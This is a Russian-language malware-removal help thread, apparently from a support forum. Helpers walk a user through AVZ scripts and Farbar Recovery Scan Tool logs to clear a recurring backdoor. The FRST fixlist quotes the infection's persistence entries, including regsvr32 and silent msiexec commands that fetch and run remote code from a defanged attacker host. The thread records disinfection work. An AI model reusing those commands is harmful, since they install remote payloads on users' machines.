Помогите вылечить выскакивает сообщение "обнаружена критическая ошибка. Система будет перезагружена через минуту"... через минуту ребутится.

[MERKAVA1982]

Помогите вылечить -выскакивает сообщение "обнаружена критическая ошибка. Система будет перезагружена через минуту"... через минуту рубится.
Причем это каждый раз происходит в разное время.
И это уже достало!
И при загрузке система долго загружается и томозит.

[Info_bot]

Уважаемый(ая) MERKAVA1982, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[MERKAVA1982]

И еще после каждой перезагрузке виндовс включается бранмауэр виндовс хотя в службах я его выключил.

[thyrex]

Выполните скрипт в AVZ

begin
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start1');
 DeleteFile('C:\Windows\system32\Tasks\Mysa','64');
ExecuteSysClean;
RebootWindows(false);
end.

Будет выполнена перезагрузка компьютера.


Пожалуйста, выполните ЕЩЕ РАЗ правила, прикрепите к сообщению НОВЫЕ логи Autologger

[MERKAVA1982]

вот свежение логи после перезагрузки

[thyrex]

Сделайте лог полного сканирования МВАМ

[MERKAVA1982]

вот лог

[thyrex]

Удалите в МВАМ все, кроме

RiskWare.HidCon.Drop, C:\PROGRAM FILES (X86)\ULTRAISO\AKELPAD489.EXE, Проигнорировано пользователем, [1919], [353147],1.0.1884

[MERKAVA1982]

выполнил

[MERKAVA1982]

Ошибки с перезагрузкой пока не наблюдаю но вот доктор вэб снова обнаружил при сканировании тот же самый вирус BackDoor.Spy.422 каторый почему то ни как нельзя удалить доктор вэб его удаляет а он снова обнаруживается.
Главное пишет в докторе вэб что удалено а включаю отображать скрытые папки так показывает что эти файлы остались и не удалились.

[Vvvyg]

Выполните в AVZ скрипт:

begin
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start1');
 ExecuteWizard('SCU', 2, 2, true);
RebootWindows(false);
end.

Компьютер перезагрузится.

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Кроме уже установленных, отметьте галочками также "90 Days Files".

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (можно все в одном архиве).

[MERKAVA1982]

вот логи

[Vvvyg]

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:

CreateRestorePoint:
HKLM\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.mykings.top:280/v.sct scrobj.dll
HKLM\...\Run: [start1] => msiexec.exe /i hxxp://js.mykings.top:280/helloworld.msi /q
ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> No File
GroupPolicy: Restriction <======= ATTENTION
GroupPolicy\User: Restriction <======= ATTENTION
GroupPolicyScripts: Restriction <======= ATTENTION
Handler: WSKVAllmytubechrome - No CLSID Value
S3 MBAMSwissArmy; \??\C:\Windows\system32\drivers\MBAMSwissArmy.sys [X]
S3 MBAMWebProtection; \??\C:\Windows\system32\drivers\mwac.sys [X]
S3 SBIOSIO; \??\C:\TEMP\__Samsung_Update\SBIOSIO64.sys [X]
S1 ZAM_Guard; \??\C:\Windows\System32\drivers\zamguard64.sys [X]
2016-02-29 16:33 - 2016-02-28 04:33 - 0000040 ____H () C:\Program Files (x86)\f20337af.tmp
CustomCLSID: HKU\S-1-5-21-67622830-4182563423-2584365063-1000_Classes\CLSID\{E36606FE-036A-4dd0-ABA9-A58F409803F0}\InprocServer32 -> no filepath
Task: {26E58DC3-32CE-4DB3-8885-AC847CDC4C91} - \Mysa -> No File <==== ATTENTION
WMI_ActiveScriptEventConsumer_fuckyoumm2_consumer: 
AlternateDataStreams: C:\ProgramData\TEMP:41ADDB8A [131]
AlternateDataStreams: C:\ProgramData\TEMP:A064CECC [144]
Reboot:

и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool.
Отключите до перезагрузки антивирус, запустите FRST, нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Сообщите, что с проблемой.

[MERKAVA1982]

вот лог
просканировал доктором вроде пока не обнаруживает но надо еще понаблюдать.